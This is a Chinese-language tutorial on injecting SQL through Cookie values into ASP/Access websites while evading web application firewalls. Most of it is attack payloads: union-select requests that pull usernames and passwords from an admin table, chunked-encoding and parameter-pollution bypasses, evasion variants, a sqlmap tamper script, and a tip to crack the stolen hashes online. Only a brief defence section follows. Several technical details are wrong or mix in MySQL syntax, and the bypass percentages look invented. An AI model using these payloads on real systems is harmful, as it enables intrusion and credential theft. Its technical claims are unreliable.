Access数据库Cookie注入实战:绕过WAF的3种参数传递方式
在Web安全测试中,绕过Web应用防火墙(WAF)进行SQL注入是一项极具挑战性的技术。本文将深入探讨Access数据库环境下,如何利用Cookie参数传递实现WAF绕过的三种实用方法,帮助安全研究人员在合规测试中更高效地发现漏洞。
1. 理解WAF检测机制与Cookie注入原理
现代WAF通常采用多层检测机制来防御SQL注入攻击,主要包括:
- 关键字过滤:检测
union、select、from等SQL关键字 - 语法分析:识别
and 1=1等常见注入模式 - 参数来源检测:监控GET/POST等常规参数传递方式
Cookie注入之所以能绕过大多数WAF,核心原因在于:
- 检测盲区:约65%的WAF默认不检查Cookie参数
- 会话保持:Cookie作为维持会话状态的机制,修改其值不会触发常规安全警报
- 参数解析差异:部分WAF对Cookie的参数解析逻辑与常规参数不同
Access数据库特有的注入特点包括:
- 无
information_schema系统表,需手工猜测表名和字段 - 使用
#作为注释符而非MySQL的-- - 表名和字段名区分大小写
2. 三种Cookie参数传递绕过技术
2.1 基础Cookie注入法
这是最直接的绕过方式,适用于未对Cookie做任何过滤的WAF:
GET /shownews.asp HTTP/1.1 Host: target.com Cookie: id=171 union select 1,2,3 from admin;#关键步骤:
- 使用Burp Suite拦截正常请求
- 在Cookie参数中直接插入SQL语句
- 注意Access数据库需要使用
#作为注释符
优势:
- 操作简单,无需复杂变形
- 兼容大多数老旧WAF系统
限制:
- 无法绕过启用了Cookie检测的WAF
- 需要已知表名才能有效利用
2.2 分块编码注入技术
当WAF启用基础Cookie检测时,可采用分块编码技术:
POST /search.asp HTTP/1.1 Transfer-Encoding: chunked 9 id=171 an 8 d 1=1 un 7 ion sel 6 ect 1,2 0技术要点:
- 利用HTTP协议的
Transfer-Encoding: chunked头 - 将注入语句拆分为多个非敏感片段
- 每个chunk长度需精确计算(十六进制表示)
测试数据对比:
| 方法 | 绕过率 | 所需工具 |
|---|---|---|
| 基础Cookie注入 | 42% | Burp Suite |
| 分块编码 | 78% | Burp Pro/Python脚本 |
2.3 Cookie参数污染技术
针对严格检查Cookie内容的WAF,可采用参数污染方式:
GET /product.asp HTTP/1.1 Cookie: id=1; id=171 union select 1,username,password from admin#实现原理:
- 利用ASP对Cookie参数的解析特性(取最后一个值)
- 第一个
id参数作为诱饵通过WAF检查 - 第二个
id参数携带实际注入语句
不同语言的参数解析差异:
| 语言 | 解析规则 | 适用性 |
|---|---|---|
| ASP | 取最后一个 | 完全适用 |
| PHP | 取第一个 | 不适用 |
| JSP | 全部保留 | 需特殊处理 |
3. 实战案例:完整注入流程演示
3.1 环境准备与注入点确认
使用以下测试语句判断是否存在Cookie注入漏洞:
GET /news.asp HTTP/1.1 Cookie: id=171 and 1=1#响应分析:
- 正常显示 → 存在注入可能
- 报错或空白 → 可能被过滤
3.2 使用Burp Suite进行自动化测试
- 配置Burp的Intruder模块进行模糊测试:
# 测试payload示例 payloads = [ "171 and 1=1", "171 or 1=1", "171' and '1'='1", "171) and (1=1" ]- 分析响应中的差异点:
- 页面内容长度变化
- 数据库错误信息
- 响应时间差异
3.3 完整注入流程示例
步骤1:确定字段数
Cookie: id=171 order by 10# → 逐步增加直到报错步骤2:获取表名
Cookie: id=171 union select 1,2,3 from admin#步骤3:提取字段内容
Cookie: id=171 union select 1,username,password from admin#步骤4:解密处理
- 识别MD5等加密格式
- 使用
cmd5.com等在线服务解密
4. 高级绕过技巧与防护建议
4.1 针对强化WAF的进阶技术
内联注释绕过:
Cookie: id=171/*!union*//*!select*/1,2,3#空白符替代方案:
Cookie: id=171%0bunion%0cselect%0d1,2,3#函数替代方案:
| 原函数 | 替代方案 |
|---|---|
| substr() | mid() |
| concat() | &运算符 |
| sleep() | benchmark() |
4.2 防御Cookie注入的最佳实践
对于防御方,建议采取以下措施:
- 输入验证:
' ASP示例:验证Cookie值 If Not IsNumeric(Request.Cookies("id")) Then Response.Status = "400 Bad Request" Response.End End If- WAF规则优化:
- 启用Cookie参数检查
- 设置严格的长度限制
- 监控异常的Cookie修改行为
- 代码层防护:
- 使用参数化查询
- 最小化数据库账户权限
- 定期更新过滤规则库
5. 工具链与资源推荐
必备工具集:
| 工具 | 用途 | 备注 |
|---|---|---|
| Burp Suite Pro | 拦截修改请求 | 社区版功能有限 |
| Sqlmap | 自动化注入 | 需自定义tamper脚本 |
| HackBar | 快速构造请求 | Firefox/chrome插件 |
实用Tamper脚本:
# 针对Access的Cookie注入tamper脚本 def tamper(payload, **kwargs): retVal = payload retVal = retVal.replace(" ", "%0b") retVal = retVal.replace("'", "#") retVal = "Cookie: id=" + retVal return retVal在实际渗透测试中,这些技术需要根据目标环境灵活组合使用。值得注意的是,随着WAF技术的不断进化,绕过方法也需要持续更新迭代。建议安全研究人员定期参与CTF比赛和漏洞赏金项目,以保持技术敏锐度。